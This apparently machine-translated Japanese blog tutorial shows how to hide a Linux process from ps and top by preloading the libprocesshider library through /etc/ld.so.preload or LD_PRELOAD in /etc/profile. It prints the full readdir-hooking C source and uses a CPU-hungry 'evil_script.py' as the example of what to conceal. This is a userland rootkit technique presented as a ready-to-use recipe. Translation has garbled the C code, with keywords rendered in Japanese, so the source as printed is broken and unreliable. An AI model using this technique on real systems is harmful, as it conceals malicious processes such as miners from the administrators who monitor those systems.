Linux でプロセスを隠す方法と、遭遇する落とし穴

Linux でプロセスを隠す方法と、遭遇する落とし穴

序文

1. この記事で使用したツールは、https://github.com/gianlucaborello/libprocesshider からダウンロードできます。

2. LD_PRELOADを使ってシステム機能を乗っ取るというアイデア

LD_PRELOAD とは何ですか?

LD_PRELOAD は Linux システムの環境変数であり、プログラムのランタイム リンク (ランタイム リンカー) に影響を与える可能性があります。プログラムの実行前に最初にロードされるダイナミック リンク ライブラリを定義できます。この関数は主に、異なるダイナミック リンク ライブラリ内の同じ関数を選択的にロードするために使用されます。この環境変数を通じて、メインプログラムとそのダイナミック リンク ライブラリの間に他のダイナミック リンク ライブラリをロードしたり、通常の関数ライブラリを上書きしたりすることもできます。一方で、この機能を使用すると、独自の機能やより優れた機能(他の人のソース コードを必要とせずに)を使用でき、他方では、特定の目的を達成するために他の人のプログラムにプログラムを挿入することもできます。

成し遂げる

1. プログラムをダウンロードしてコンパイルする

bmfxgkpt-yhd:~# git クローン https://github.com/gianlucaborello/libprocesshider.git
'libprocesshider' にクローンしています...
リモート: オブジェクトをカウントしています: 26、完了。
リモート: 合計 26 (デルタ 0)、再利用 0 (デルタ 0)、パック再利用 26
オブジェクトの解凍: 100% (26/26)、完了。
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# 作成
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2. ファイルを/usr/local/lib/ディレクトリに移動する

mv libprocesshider.so /usr/local/lib/

3. グローバルダイナミックリンカーにロードする

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

テスト

1. evil_script.pyを実行します

2. この時点で、evil_script.pyはtopとpsでは見つからないことがわかります。

この時点でCPU使用率は100%でしたが、CPUを多く占有しているプログラムは見つかりませんでした。

分析する

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <文字列.h>
#include <unistd.h>
/*
 * この名前のすべてのプロセスが除外されます
 */
静的 const char* process_to_filter = "evil_script.py";
/*
 * DIR* ハンドルを指定してディレクトリ名を取得します
 */
静的 int get_dir_name(DIR* dirp, char* buf, size_t サイズ)
{
  int fd = dirfd(dirp);
  もしfd == -1の場合{
    0を返します。
  }
  文字tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    0を返します。
  }
  バッファ[ret] = 0;
  1 を返します。
}
/*
 * PIDを指定してプロセス名を取得する
 */
静的 int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    0を返します。
  }
  文字tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  ファイル* f = fopen(tmp, "r");
  if(f == NULL) {
    0を返します。
  }
  (fgets(tmp, sizeof(tmp), f) == NULL)の場合{
    fclose() メソッド
    0を返します。
  }
  fclose() メソッド
  int 未使用;
  sscanf(tmp, "%d (%[^]s", &unused, buf);
  1 を返します。
}
#DECLARE_READDIR(dirent, readdir) を定義します \
静的構造体 dirent* (*original_##readdir)(DIR*) = NULL; \
構造体 dirent* readdir(DIR *dirp) \
{\
  if(original_##readdir == NULL) { \
    元の_##readdir = dlsym(RTLD_NEXT, "readdir"); \
    if(original_##readdir == NULL) \
    {\
      fprintf(stderr, "dlsym でエラーが発生しました: %s\n", dlerror()); \
    } \
  } \
  構造体 dirent* dir; \
  (1) \ の間
  {\
    dir = original_##readdir(dirp); \
    if(dir) { \
      char dir_name[256]; \
      char プロセス名[256]; \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
        strcmp(dir_name, "/proc") == 0 && \
        get_process_name(dir->d_name, プロセス名) && \
        strcmp(プロセス名, フィルターするプロセス) == 0) { \
        続く; \
      } \
    } \
    壊す; \
  } \
  ディレクトリを返す; \
}
READDIR を宣言します。
DECLARE_READDIR(dirent、readdir);

1. プログラムは、どのプロセス名が表示されないかを制御するために変数process_to_filterを定義します。

2. readdirを書き換える。

strcmp(process_name, process_to_filter) == 0)

現在のプロセス名が process_to_filter と同じであることがわかったら、ループを続行します。

遭遇した落とし穴

1. このプログラムは一部のLinuxシステムではコンパイルできません

回避策

最後の2行のうち1行を削除

READDIR を宣言します。
DECLARE_READDIR(dirent、readdir);

2. 一部のLinuxで使用されている

シェルエコー /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
有効になりません。この時点で、環境変数shell bmfxgkpt-yhd:~# vi /etc/profileを設定する必要があります。
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so という行を追加します。

要約する

上記は、編集者が紹介した Linux でプロセスを隠す方法と、遭遇した落とし穴です。皆様のお役に立てれば幸いです。ご質問がある場合は、メッセージを残してください。編集者がすぐに返信します。また、123WORDPRESS.COM ウェブサイトをサポートしてくださっている皆様にも感謝申し上げます。

以下もご興味があるかもしれません:
  • 1行のコードでLinuxのプロセスを隠す方法を学ぶ

<<:  Nodejs で WeChat アカウント分割を実装するためのサンプルコード

>>:  CentOS7 (YUM) での MySQL 5.7 のインストールと設定のチュートリアル

推薦する

Linux でシステム ディスクを初期化した後にデータ ディスクを再マウントする方法

Linuxインスタンスでシステムディスクを初期化した後、データディスクを再マウントするLinux イ...

Divの境界と透明度に関する設定

フレーム:スタイル=”border-style:solid;border-width:5px;bor...

MySQL テーブルとデータベース シャーディングのアプリケーション シナリオと設計方法

多くの友人がフォーラムやメッセージエリアで、どのような状況で MySQL をシャーディングする必要が...

docker を使用して minio と java sdk を構築するプロセスの詳細な説明

目次1minioはシンプル2 Dockerビルド minio 2.1 単一ノード2.2 マルチノード...

Linux アカウントのパスワードを変更する詳細な例

個人アカウントのパスワードを変更する一般ユーザーが個人アカウントのパスワードを変更する場合は、他のコ...

Ubuntu 16.04.5LTS に SVN をインストールする手順

この記事では、UbuntuシステムでSVNを設定するプロセスを簡単に紹介します。ソースを更新sudo...

Vueのドラッグスクリーンショット機能を実装する簡単な方法

マウスをドラッグしてページのスクリーンショットを撮ります(指定した領域にスクリーンショットをドラッグ...

MySQLデータクエリが多すぎるとOOMが発生するかどうかについての簡単な議論

目次サーバー層でのフルテーブルスキャンの影響InnoDB におけるフルテーブルスキャンの影響Inno...

vue3 コンポーネント通信方法の概要と例

vue3コンポーネントの通信モードは次のとおりです。小道具$放出$expose / 参照$属性vモデ...

フローティングメニューを実装するjQueryプラグイン

毎日jQueryプラグインを学ぶ - フローティングメニュー、参考までに、具体的な内容は次のとおりで...

MySQL 子テーブルで外部キー制約チェックを無効にする方法

準備する:教師テーブルと生徒テーブルを定義し、生徒テーブルで教師テーブルIDを参照します。テーブルt...

JavaScript の構造化代入の一般的なシナリオと例 5 つ

目次序文1. データを抽出する2. エイリアス値3. 動的プロパティ4. オブジェクトの分解における...

Mysql5.7.17 winx64.zip 解凍バージョンのインストールと設定のグラフィックチュートリアル

1. mysql-5.7.17-winx64.zip をダウンロードします。リンク: https:/...

最適なウェブページ幅とその互換性のある実装方法

1. Web ページをデザインするときに、幅を決定するのは非常に面倒な作業です。 jb51.net ...